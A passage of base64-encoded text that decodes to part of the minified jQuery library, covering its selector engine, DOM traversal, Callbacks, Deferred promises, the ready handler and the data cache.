Gl2ZVtvWzFdLnR5cGVdKXtpZighKHQ9KGIuZmluZC5JRChhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksdCl8fFtdKVswXSkpcmV0dXJuIG47bCYmKHQ9dC5wYXJlbnROb2RlKSxlPWUuc2xpY2Uoby5zaGlmdCgpLnZhbHVlLmxlbmd0aCl9aT1HLm5lZWRzQ29udGV4dC50ZXN0KGUpPzA6by5sZW5ndGg7d2hpbGUoaS0tKXtpZihhPW9baV0sYi5yZWxhdGl2ZVtzPWEudHlwZV0pYnJlYWs7aWYoKHU9Yi5maW5kW3NdKSYmKHI9dShhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksZWUudGVzdChvWzBdLnR5cGUpJiZ2ZSh0LnBhcmVudE5vZGUpfHx0KSkpe2lmKG8uc3BsaWNlKGksMSksIShlPXIubGVuZ3RoJiZ4ZShvKSkpcmV0dXJuIEguYXBwbHkobixyKSxuO2JyZWFrfX19cmV0dXJuKGx8fGYoZSxjKSkocix0LCFTLG4sIXR8fGVlLnRlc3QoZSkmJnZlKHQucGFyZW50Tm9kZSl8fHQpLG59LGQuc29ydFN0YWJsZT1FLnNwbGl0KCIiKS5zb3J0KGopLmpvaW4oIiIpPT09RSxkLmRldGVjdER1cGxpY2F0ZXM9ISFsLFQoKSxkLnNvcnREZXRhY2hlZD1jZShmdW5jdGlvbihlKXtyZXR1cm4gMSZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKEMuY3JlYXRlRWxlbWVudCgiZmllbGRzZXQiKSl9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxhIGhyZWY9JyMnPjwvYT4iLCIjIj09PWUuZmlyc3RDaGlsZC5nZXRBdHRyaWJ1dGUoImhyZWYiKX0pfHxmZSgidHlwZXxocmVmfGhlaWdodHx3aWR0aCIsZnVuY3Rpb24oZSx0LG4pe2lmKCFuKXJldHVybiBlLmdldEF0dHJpYnV0ZSh0LCJ0eXBlIj09PXQudG9Mb3dlckNhc2UoKT8xOjIpfSksZC5hdHRyaWJ1dGVzJiZjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxpbnB1dC8+IixlLmZpcnN0Q2hpbGQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIiIpLCIiPT09ZS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSgidmFsdWUiKX0pfHxmZSgidmFsdWUiLGZ1bmN0aW9uKGUsdCxuKXtpZighbiYmImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlyZXR1cm4gZS5kZWZhdWx0VmFsdWV9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZS5nZXRBdHRyaWJ1dGUoImRpc2FibGVkIil9KXx8ZmUoUixmdW5jdGlvbihlLHQsbil7dmFyIHI7aWYoIW4pcmV0dXJuITA9PT1lW3RdP3QudG9Mb3dlckNhc2UoKToocj1lLmdldEF0dHJpYnV0ZU5vZGUodCkpJiZyLnNwZWNpZmllZD9yLnZhbHVlOm51bGx9KSxzZX0oQyk7RS5maW5kPWQsRS5leHByPWQuc2VsZWN0b3JzLEUuZXhwclsiOiJdPUUuZXhwci5wc2V1ZG9zLEUudW5pcXVlU29ydD1FLnVuaXF1ZT1kLnVuaXF1ZVNvcnQsRS50ZXh0PWQuZ2V0VGV4dCxFLmlzWE1MRG9jPWQuaXNYTUwsRS5jb250YWlucz1kLmNvbnRhaW5zLEUuZXNjYXBlU2VsZWN0b3I9ZC5lc2NhcGU7dmFyIGg9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLGk9dm9pZCAwIT09bjt3aGlsZSgoZT1lW3RdKSYmOSE9PWUubm9kZVR5cGUpaWYoMT09PWUubm9kZVR5cGUpe2lmKGkmJkUoZSkuaXMobikpYnJlYWs7ci5wdXNoKGUpfXJldHVybiByfSxUPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPVtdO2U7ZT1lLm5leHRTaWJsaW5nKTE9PT1lLm5vZGVUeXBlJiZlIT09dCYmbi5wdXNoKGUpO3JldHVybiBufSxrPUUuZXhwci5tYXRjaC5uZWVkc0NvbnRleHQ7ZnVuY3Rpb24gQShlLHQpe3JldHVybiBlLm5vZGVOYW1lJiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT10LnRvTG93ZXJDYXNlKCl9dmFyIE49L148KFthLXpdW15cL1wwPjpceDIwXHRcclxuXGZdKilbXHgyMFx0XHJcblxmXSpcLz8+KD86PFwvXDE+fCkkL2k7ZnVuY3Rpb24gaihlLG4scil7cmV0dXJuIG0obik/RS5ncmVwKGUsZnVuY3Rpb24oZSx0KXtyZXR1cm4hIW4uY2FsbChlLHQsZSkhPT1yfSk6bi5ub2RlVHlwZT9FLmdyZXAoZSxmdW5jdGlvbihlKXtyZXR1cm4gZT09PW4hPT1yfSk6InN0cmluZyIhPXR5cGVvZiBuP0UuZ3JlcChlLGZ1bmN0aW9uKGUpe3JldHVybi0xPGkuY2FsbChuLGUpIT09cn0pOkUuZmlsdGVyKG4sZSxyKX1FLmZpbHRlcj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dFswXTtyZXR1cm4gbiYmKGU9Ijpub3QoIitlKyIpIiksMT09PXQubGVuZ3RoJiYxPT09ci5ub2RlVHlwZT9FLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHIsZSk/W3JdOltdOkUuZmluZC5tYXRjaGVzKGUsRS5ncmVwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIDE9PT1lLm5vZGVUeXBlfSkpfSxFLmZuLmV4dGVuZCh7ZmluZDpmdW5jdGlvbihlKXt2YXIgdCxuLHI9dGhpcy5sZW5ndGgsaT10aGlzO2lmKCJzdHJpbmciIT10eXBlb2YgZSlyZXR1cm4gdGhpcy5wdXNoU3RhY2soRShlKS5maWx0ZXIoZnVuY3Rpb24oKXtmb3IodD0wO3Q8cjt0KyspaWYoRS5jb250YWlucyhpW3RdLHRoaXMpKXJldHVybiEwfSkpO2ZvcihuPXRoaXMucHVzaFN0YWNrKFtdKSx0PTA7dDxyO3QrKylFLmZpbmQoZSxpW3RdLG4pO3JldHVybiAxPHI/RS51bmlxdWVTb3J0KG4pOm59LGZpbHRlcjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soaih0aGlzLGV8fFtdLCExKSl9LG5vdDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soaih0aGlzLGV8fFtdLCEwKSl9LGlzOmZ1bmN0aW9uKGUpe3JldHVybiEhaih0aGlzLCJzdHJpbmciPT10eXBlb2YgZSYmay50ZXN0KGUpP0UoZSk6ZXx8W10sITEpLmxlbmd0aH19KTt2YXIgRCxxPS9eKD86XHMqKDxbXHdcV10rPilbXj5dKnwjKFtcdy1dKykpJC87KEUuZm4uaW5pdD1mdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZighZSlyZXR1cm4gdGhpcztpZihuPW58fEQsInN0cmluZyI9PXR5cGVvZiBlKXtpZighKHI9IjwiPT09ZVswXSYmIj4iPT09ZVtlLmxlbmd0aC0xXSYmMzw9ZS5sZW5ndGg/W251bGwsZSxudWxsXTpxLmV4ZWMoZSkpfHwhclsxXSYmdClyZXR1cm4hdHx8dC5qcXVlcnk/KHR8fG4pLmZpbmQoZSk6dGhpcy5jb25zdHJ1Y3Rvcih0KS5maW5kKGUpO2lmKHJbMV0pe2lmKHQ9dCBpbnN0YW5jZW9mIEU/dFswXTp0LEUubWVyZ2UodGhpcyxFLnBhcnNlSFRNTChyWzFdLHQmJnQubm9kZVR5cGU/dC5vd25lckRvY3VtZW50fHx0OlMsITApKSxOLnRlc3QoclsxXSkmJkUuaXNQbGFpbk9iamVjdCh0KSlmb3IociBpbiB0KW0odGhpc1tyXSk/dGhpc1tyXSh0W3JdKTp0aGlzLmF0dHIocix0W3JdKTtyZXR1cm4gdGhpc31yZXR1cm4oaT1TLmdldEVsZW1lbnRCeUlkKHJbMl0pKSYmKHRoaXNbMF09aSx0aGlzLmxlbmd0aD0xKSx0aGlzfXJldHVybiBlLm5vZGVUeXBlPyh0aGlzWzBdPWUsdGhpcy5sZW5ndGg9MSx0aGlzKTptKGUpP3ZvaWQgMCE9PW4ucmVhZHk/bi5yZWFkeShlKTplKEUpOkUubWFrZUFycmF5KGUsdGhpcyl9KS5wcm90b3R5cGU9RS5mbixEPUUoUyk7dmFyIEw9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sSD17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtmdW5jdGlvbiBPKGUsdCl7d2hpbGUoKGU9ZVt0XSkmJjEhPT1lLm5vZGVUeXBlKTtyZXR1cm4gZX1FLmZuLmV4dGVuZCh7aGFzOmZ1bmN0aW9uKGUpe3ZhciB0PUUoZSx0aGlzKSxuPXQubGVuZ3RoO3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe2Zvcih2YXIgZT0wO2U8bjtlKyspaWYoRS5jb250YWlucyh0aGlzLHRbZV0pKXJldHVybiEwfSl9LGNsb3Nlc3Q6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10aGlzLmxlbmd0aCxvPVtdLGE9InN0cmluZyIhPXR5cGVvZiBlJiZFKGUpO2lmKCFrLnRlc3QoZSkpZm9yKDtyPGk7cisrKWZvcihuPXRoaXNbcl07biYmbiE9PXQ7bj1uLnBhcmVudE5vZGUpaWYobi5ub2RlVHlwZTwxMSYmKGE/LTE8YS5pbmRleChuKToxPT09bi5ub2RlVHlwZSYmRS5maW5kLm1hdGNoZXNTZWxlY3RvcihuLGUpKSl7by5wdXNoKG4pO2JyZWFrfXJldHVybiB0aGlzLnB1c2hTdGFjaygxPG8ubGVuZ3RoP0UudW5pcXVlU29ydChvKTpvKX0saW5kZXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/InN0cmluZyI9PXR5cGVvZiBlP2kuY2FsbChFKGUpLHRoaXNbMF0pOmkuY2FsbCh0aGlzLGUuanF1ZXJ5P2VbMF06ZSk6dGhpc1swXSYmdGhpc1swXS5wYXJlbnROb2RlP3RoaXMuZmlyc3QoKS5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soRS51bmlxdWVTb3J0KEUubWVyZ2UodGhpcy5nZXQoKSxFKGUsdCkpKSl9LGFkZEJhY2s6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuYWRkKG51bGw9PWU/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoZSkpfX0pLEUuZWFjaCh7cGFyZW50OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmMTEhPT10Lm5vZGVUeXBlP3Q6bnVsbH0scGFyZW50czpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIGgoZSwicGFyZW50Tm9kZSIsbil9LG5leHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIE8oZSwibmV4dFNpYmxpbmciKX0scHJldjpmdW5jdGlvbihlKXtyZXR1cm4gTyhlLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dEFsbDpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJuZXh0U2libGluZyIpfSxwcmV2QWxsOmZ1bmN0aW9uKGUpe3JldHVybiBoKGUsInByZXZpb3VzU2libGluZyIpfSxuZXh0VW50aWw6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBoKGUsIm5leHRTaWJsaW5nIixuKX0scHJldlVudGlsOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gaChlLCJwcmV2aW91c1NpYmxpbmciLG4pfSxzaWJsaW5nczpmdW5jdGlvbihlKXtyZXR1cm4gVCgoZS5wYXJlbnROb2RlfHx7fSkuZmlyc3RDaGlsZCxlKX0sY2hpbGRyZW46ZnVuY3Rpb24oZSl7cmV0dXJuIFQoZS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWUuY29udGVudERvY3VtZW50JiZyKGUuY29udGVudERvY3VtZW50KT9lLmNvbnRlbnREb2N1bWVudDooQShlLCJ0ZW1wbGF0ZSIpJiYoZT1lLmNvbnRlbnR8fGUpLEUubWVyZ2UoW10sZS5jaGlsZE5vZGVzKSl9fSxmdW5jdGlvbihyLGkpe0UuZm5bcl09ZnVuY3Rpb24oZSx0KXt2YXIgbj1FLm1hcCh0aGlzLGksZSk7cmV0dXJuIlVudGlsIiE9PXIuc2xpY2UoLTUpJiYodD1lKSx0JiYic3RyaW5nIj09dHlwZW9mIHQmJihuPUUuZmlsdGVyKHQsbikpLDE8dGhpcy5sZW5ndGgmJihIW3JdfHxFLnVuaXF1ZVNvcnQobiksTC50ZXN0KHIpJiZuLnJldmVyc2UoKSksdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIFA9L1teXHgyMFx0XHJcblxmXSsvZztmdW5jdGlvbiBSKGUpe3JldHVybiBlfWZ1bmN0aW9uIE0oZSl7dGhyb3cgZX1mdW5jdGlvbiBJKGUsdCxuLHIpe3ZhciBpO3RyeXtlJiZtKGk9ZS5wcm9taXNlKT9pLmNhbGwoZSkuZG9uZSh0KS5mYWlsKG4pOmUmJm0oaT1lLnRoZW4pP2kuY2FsbChlLHQsbik6dC5hcHBseSh2b2lkIDAsW2VdLnNsaWNlKHIpKX1jYXRjaChlKXtuLmFwcGx5KHZvaWQgMCxbZV0pfX1FLkNhbGxiYWNrcz1mdW5jdGlvbihyKXt2YXIgZSxuO3I9InN0cmluZyI9PXR5cGVvZiByPyhlPXIsbj17fSxFLmVhY2goZS5tYXRjaChQKXx8W10sZnVuY3Rpb24oZSx0KXtuW3RdPSEwfSksbik6RS5leHRlbmQoe30scik7dmFyIGksdCxvLGEscz1bXSx1PVtdLGw9LTEsYz1mdW5jdGlvbigpe2ZvcihhPWF8fHIub25jZSxvPWk9ITA7dS5sZW5ndGg7bD0tMSl7dD11LnNoaWZ0KCk7d2hpbGUoKytsPHMubGVuZ3RoKSExPT09c1tsXS5hcHBseSh0WzBdLHRbMV0pJiZyLnN0b3BPbkZhbHNlJiYobD1zLmxlbmd0aCx0PSExKX1yLm1lbW9yeXx8KHQ9ITEpLGk9ITEsYSYmKHM9dD9bXToiIil9LGY9e2FkZDpmdW5jdGlvbigpe3JldHVybiBzJiYodCYmIWkmJihsPXMubGVuZ3RoLTEsdS5wdXNoKHQpKSxmdW5jdGlvbiBuKGUpe0UuZWFjaChlLGZ1bmN0aW9uKGUsdCl7bSh0KT9yLnVuaXF1ZSYmZi5oYXModCl8fHMucHVzaCh0KTp0JiZ0Lmxlbmd0aCYmInN0cmluZyIhPT13KHQpJiZuKHQpfSl9KGFyZ3VtZW50cyksdCYmIWkmJmMoKSksdGhpc30scmVtb3ZlOmZ1bmN0aW9uKCl7cmV0dXJuIEUuZWFjaChhcmd1bWVudHMsZnVuY3Rpb24oZSx0KXt2YXIgbjt3aGlsZSgtMTwobj1FLmluQXJyYXkodCxzLG4pKSlzLnNwbGljZShuLDEpLG48PWwmJmwtLX0pLHRoaXN9LGhhczpmdW5jdGlvbihlKXtyZXR1cm4gZT8tMTxFLmluQXJyYXkoZSxzKTowPHMubGVuZ3RofSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiBzJiYocz1bXSksdGhpc30sZGlzYWJsZTpmdW5jdGlvbigpe3JldHVybiBhPXU9W10scz10PSIiLHRoaXN9LGRpc2FibGVkOmZ1bmN0aW9uKCl7cmV0dXJuIXN9LGxvY2s6ZnVuY3Rpb24oKXtyZXR1cm4gYT11PVtdLHR8fGl8fChzPXQ9IiIpLHRoaXN9LGxvY2tlZDpmdW5jdGlvbigpe3JldHVybiEhYX0sZmlyZVdpdGg6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gYXx8KHQ9W2UsKHQ9dHx8W10pLnNsaWNlP3Quc2xpY2UoKTp0XSx1LnB1c2godCksaXx8YygpKSx0aGlzfSxmaXJlOmZ1bmN0aW9uKCl7cmV0dXJuIGYuZmlyZVdpdGgodGhpcyxhcmd1bWVudHMpLHRoaXN9LGZpcmVkOmZ1bmN0aW9uKCl7cmV0dXJuISFvfX07cmV0dXJuIGZ9LEUuZXh0ZW5kKHtEZWZlcnJlZDpmdW5jdGlvbihlKXt2YXIgbz1bWyJub3RpZnkiLCJwcm9ncmVzcyIsRS5DYWxsYmFja3MoIm1lbW9yeSIpLEUuQ2FsbGJhY2tzKCJtZW1vcnkiKSwyXSxbInJlc29sdmUiLCJkb25lIixFLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSxFLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSwwLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIsRS5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksRS5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksMSwicmVqZWN0ZWQiXV0saT0icGVuZGluZyIsYT17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gaX0sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIHMuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSwiY2F0Y2giOmZ1bmN0aW9uKGUpe3JldHVybiBhLnRoZW4obnVsbCxlKX0scGlwZTpmdW5jdGlvbigpe3ZhciBpPWFyZ3VtZW50cztyZXR1cm4gRS5EZWZlcnJlZChmdW5jdGlvbihyKXtFLmVhY2gobyxmdW5jdGlvbihlLHQpe3ZhciBuPW0oaVt0WzRdXSkmJmlbdFs0XV07c1t0WzFdXShmdW5jdGlvbigpe3ZhciBlPW4mJm4uYXBwbHkodGhpcyxhcmd1bWVudHMpO2UmJm0oZS5wcm9taXNlKT9lLnByb21pc2UoKS5wcm9ncmVzcyhyLm5vdGlmeSkuZG9uZShyLnJlc29sdmUpLmZhaWwoci5yZWplY3QpOnJbdFswXSsiV2l0aCJdKHRoaXMsbj9bZV06YXJndW1lbnRzKX0pfSksaT1udWxsfSkucHJvbWlzZSgpfSx0aGVuOmZ1bmN0aW9uKHQsbixyKXt2YXIgdT0wO2Z1bmN0aW9uIGwoaSxvLGEscyl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIG49dGhpcyxyPWFyZ3VtZW50cyxlPWZ1bmN0aW9uKCl7dmFyIGUsdDtpZighKGk8dSkpe2lmKChlPWEuYXBwbHkobixyKSk9PT1vLnByb21pc2UoKSl0aHJvdyBuZXcgVHlwZUVycm9yKCJUaGVuYWJsZSBzZWxmLXJlc29sdXRpb24iKTt0PWUmJigib2JqZWN0Ij09dHlwZW9mIGV8fCJmdW5jdGlvbiI9PXR5cGVvZiBlKSYmZS50aGVuLG0odCk/cz90LmNhbGwoZSxsKHUsbyxSLHMpLGwodSxvLE0scykpOih1KyssdC5jYWxsKGUsbCh1LG8sUixzKSxsKHUsbyxNLHMpLGwodSxvLFIsby5ub3RpZnlXaXRoKSkpOihhIT09UiYmKG49dm9pZCAwLHI9W2VdKSwoc3x8by5yZXNvbHZlV2l0aCkobixyKSl9fSx0PXM/ZTpmdW5jdGlvbigpe3RyeXtlKCl9Y2F0Y2goZSl7RS5EZWZlcnJlZC5leGNlcHRpb25Ib29rJiZFLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2soZSx0LnN0YWNrVHJhY2UpLHU8PWkrMSYmKGEhPT1NJiYobj12b2lkIDAscj1bZV0pLG8ucmVqZWN0V2l0aChuLHIpKX19O2k/dCgpOihFLkRlZmVycmVkLmdldFN0YWNrSG9vayYmKHQuc3RhY2tUcmFjZT1FLkRlZmVycmVkLmdldFN0YWNrSG9vaygpKSxDLnNldFRpbWVvdXQodCkpfX1yZXR1cm4gRS5EZWZlcnJlZChmdW5jdGlvbihlKXtvWzBdWzNdLmFkZChsKDAsZSxtKHIpP3I6UixlLm5vdGlmeVdpdGgpKSxvWzFdWzNdLmFkZChsKDAsZSxtKHQpP3Q6UikpLG9bMl1bM10uYWRkKGwoMCxlLG0obik/bjpNKSl9KS5wcm9taXNlKCl9LHByb21pc2U6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWU/RS5leHRlbmQoZSxhKTphfX0scz17fTtyZXR1cm4gRS5lYWNoKG8sZnVuY3Rpb24oZSx0KXt2YXIgbj10WzJdLHI9dFs1XTthW3RbMV1dPW4uYWRkLHImJm4uYWRkKGZ1bmN0aW9uKCl7aT1yfSxvWzMtZV1bMl0uZGlzYWJsZSxvWzMtZV1bM10uZGlzYWJsZSxvWzBdWzJdLmxvY2ssb1swXVszXS5sb2NrKSxuLmFkZCh0WzNdLmZpcmUpLHNbdFswXV09ZnVuY3Rpb24oKXtyZXR1cm4gc1t0WzBdKyJXaXRoIl0odGhpcz09PXM/dm9pZCAwOnRoaXMsYXJndW1lbnRzKSx0aGlzfSxzW3RbMF0rIldpdGgiXT1uLmZpcmVXaXRofSksYS5wcm9taXNlKHMpLGUmJmUuY2FsbChzLHMpLHN9LHdoZW46ZnVuY3Rpb24oZSl7dmFyIG49YXJndW1lbnRzLmxlbmd0aCx0PW4scj1BcnJheSh0KSxpPXMuY2FsbChhcmd1bWVudHMpLG89RS5EZWZlcnJlZCgpLGE9ZnVuY3Rpb24odCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JbdF09dGhpcyxpW3RdPTE8YXJndW1lbnRzLmxlbmd0aD9zLmNhbGwoYXJndW1lbnRzKTplLC0tbnx8by5yZXNvbHZlV2l0aChyLGkpfX07aWYobjw9MSYmKEkoZSxvLmRvbmUoYSh0KSkucmVzb2x2ZSxvLnJlamVjdCwhbiksInBlbmRpbmciPT09by5zdGF0ZSgpfHxtKGlbdF0mJmlbdF0udGhlbikpKXJldHVybiBvLnRoZW4oKTt3aGlsZSh0LS0pSShpW3RdLGEodCksby5yZWplY3QpO3JldHVybiBvLnByb21pc2UoKX19KTt2YXIgVz0vXihFdmFsfEludGVybmFsfFJhbmdlfFJlZmVyZW5jZXxTeW50YXh8VHlwZXxVUkkpRXJyb3IkLztFLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2s9ZnVuY3Rpb24oZSx0KXtDLmNvbnNvbGUmJkMuY29uc29sZS53YXJuJiZlJiZXLnRlc3QoZS5uYW1lKSYmQy5jb25zb2xlLndhcm4oImpRdWVyeS5EZWZlcnJlZCBleGNlcHRpb246ICIrZS5tZXNzYWdlLGUuc3RhY2ssdCl9LEUucmVhZHlFeGNlcHRpb249ZnVuY3Rpb24oZSl7Qy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dGhyb3cgZX0pfTt2YXIgRj1FLkRlZmVycmVkKCk7ZnVuY3Rpb24gJCgpe1MucmVtb3ZlRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsJCksQy5yZW1vdmVFdmVudExpc3RlbmVyKCJsb2FkIiwkKSxFLnJlYWR5KCl9RS5mbi5yZWFkeT1mdW5jdGlvbihlKXtyZXR1cm4gRi50aGVuKGUpWyJjYXRjaCJdKGZ1bmN0aW9uKGUpe0UucmVhZHlFeGNlcHRpb24oZSl9KSx0aGlzfSxFLmV4dGVuZCh7aXNSZWFkeTohMSxyZWFkeVdhaXQ6MSxyZWFkeTpmdW5jdGlvbihlKXsoITA9PT1lPy0tRS5yZWFkeVdhaXQ6RS5pc1JlYWR5KXx8KEUuaXNSZWFkeT0hMCkhPT1lJiYwPC0tRS5yZWFkeVdhaXR8fEYucmVzb2x2ZVdpdGgoUyxbRV0pfX0pLEUucmVhZHkudGhlbj1GLnRoZW4sImNvbXBsZXRlIj09PVMucmVhZHlTdGF0ZXx8ImxvYWRpbmciIT09Uy5yZWFkeVN0YXRlJiYhUy5kb2N1bWVudEVsZW1lbnQuZG9TY3JvbGw/Qy5zZXRUaW1lb3V0KEUucmVhZHkpOihTLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCQpLEMuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsJCkpO3ZhciBCPWZ1bmN0aW9uKGUsdCxuLHIsaSxvLGEpe3ZhciBzPTAsdT1lLmxlbmd0aCxsPW51bGw9PW47aWYoIm9iamVjdCI9PT13KG4pKWZvcihzIGluIGk9ITAsbilCKGUsdCxzLG5bc10sITAsbyxhKTtlbHNlIGlmKHZvaWQgMCE9PXImJihpPSEwLG0ocil8fChhPSEwKSxsJiYoYT8odC5jYWxsKGUsciksdD1udWxsKToobD10LHQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBsLmNhbGwoRShlKSxuKX0pKSx0KSlmb3IoO3M8dTtzKyspdChlW3NdLG4sYT9yOnIuY2FsbChlW3NdLHMsdChlW3NdLG4pKSk7cmV0dXJuIGk/ZTpsP3QuY2FsbChlKTp1P3QoZVswXSxuKTpvfSxfPS9eLW1zLS8sej0vLShbYS16XSkvZztmdW5jdGlvbiBVKGUsdCl7cmV0dXJuIHQudG9VcHBlckNhc2UoKX1mdW5jdGlvbiBYKGUpe3JldHVybiBlLnJlcGxhY2UoXywibXMtIikucmVwbGFjZSh6LFUpfXZhciBWPWZ1bmN0aW9uKGUpe3JldHVybiAxPT09ZS5ub2RlVHlwZXx8OT09PWUubm9kZVR5cGV8fCErZS5ub2RlVHlwZX07ZnVuY3Rpb24gRygpe3RoaXMuZXhwYW5kbz1FLmV4cGFuZG8rRy51aWQrK31HLnVpZD0xLEcucHJvdG90eXBlPXtjYWNoZTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHR8fCh0PXt9LFYoZSkmJihlLm5vZGVUeXBlP2VbdGhpcy5leHBhbmRvXT10Ok9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLHRoaXMuZXhwYW5kbyx7dmFsdWU6dCxjb25maWd1cmFibGU6ITB9KSkpLHR9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT10aGlzLmNhY2hlKGUpO2lmKCJzdHJpbmciPT10eXBlb2YgdClpW1godCldPW47ZWxzZSBmb3IociBpbiB0KWlbWChyKV09dFtyXTtyZXR1cm4gaX0sZ2V0OmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHZvaWQgMD09PXQ/dGhpcy5jYWNoZShlKTplW3RoaXMuZXhwYW5kb10mJmVbdGhpcy5leHBhbmRvXVtYKHQpXX0sYWNjZXNzOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdm9pZCAwPT09dHx8dCYmInN0cmluZyI9PXR5cGVvZiB0JiZ2b2lkIDA9PT1uP3RoaXMuZ2V0KGUsdCk6KHRoaXMuc2V0KGUsdCxuKSx2b2lkIDAhPT1uP246dCl9LHJlbW92ZTpmdW5jdGlvbihlLHQpe3ZhciBuLHI9ZVt0aGlzLmV4cGFuZG9dO2lmKHZvaWQgMCE9PXIpe2lmKHZvaWQgMCE9PXQpe249KHQ9QXJyYXkuaXNBcnJheSh0KT90Lm1hcChYKToodD1YKHQpKWluIHI/W3RdOnQubWF0Y2goUCl8fFtdKS5sZW5ndGg7d2hpbGUobi0tKWRlbGV0ZSByW3Rbbl1dfSh2b2lkIDA9PT10fHxFLmlzRW1wdHlPYmplY3QocikpJiYoZS5ub2RlVHlwZT9lW3RoaXMuZXhwYW5kb109dm9pZCAwOmRlbGV0ZSBlW3RoaXMuZXhwYW5kb10pfX0saGFzRGF0YTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHZvaWQgMCE9PXQmJiFFLmlzRW1wdHlPYmplY3QodCl9fTt2YXIgWT1uZXcgRyxRPW5ldyBHLEo9L14oPzpce1tcd1xXXSpcfXxcW1tcd1xXXSpcXSkkLyxLPS9bQS1aXS9nO2Z1bmN0aW9uIFooZSx0LG4pe3ZhciByLGk7aWYodm9pZCAwPT09biYmMT09PWUubm9kZVR5cGUpaWYocj0iZGF0YS0iK3QucmVwbGFjZShLLCItJCYiKS50b0xvd2VyQ2FzZSgpLCJzdHJpbmciPT10eXBlb2Yobj1lLmdldEF0dHJpYnV0ZShyKSkpe3RyeXtuPSJ0cnVlIj09PShpPW4pfHwiZmFsc2UiIT09aSYmKCJudWxsIj09PWk/bnVsbDppPT09K2krIiI/K2k6Si50ZXN0KGkpP0pTT04ucGFyc2UoaSk6aSl9Y2F0Y2goZSl7fVEuc2V0KGUsdCxuKX1lbHNlIG49dm9pZCAwO3JldHVybiBufUUuZXh0ZW5kKHtoYXNEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiBRLmhhc0RhdGEoZSl8fFkuaGFzRGF0YShlKX0sZGF0YTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIFEuYWNjZXNzKGUsdCxuKX0scmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1EucmVtb3ZlKGUsdCl9LF9kYXRhOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gWS5hY2Nlc3MoZSx0LG4pfSxfcmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1kucmVtb3ZlKGUsdCl9fSksRS5mbi5leHRlbmQoe2RhdGE6ZnVuY3Rpb24obixlKXt2YXIgdCxyLGksbz10aGlzWzBdLGE9byYmby5hdHRyaWJ1dGVzO2lmKHZvaWQgMD09PW4pe2lmKHRoaXMubGVuZ3RoJiYoaT1RLmdldChvKSwxPT09by5ub2RlV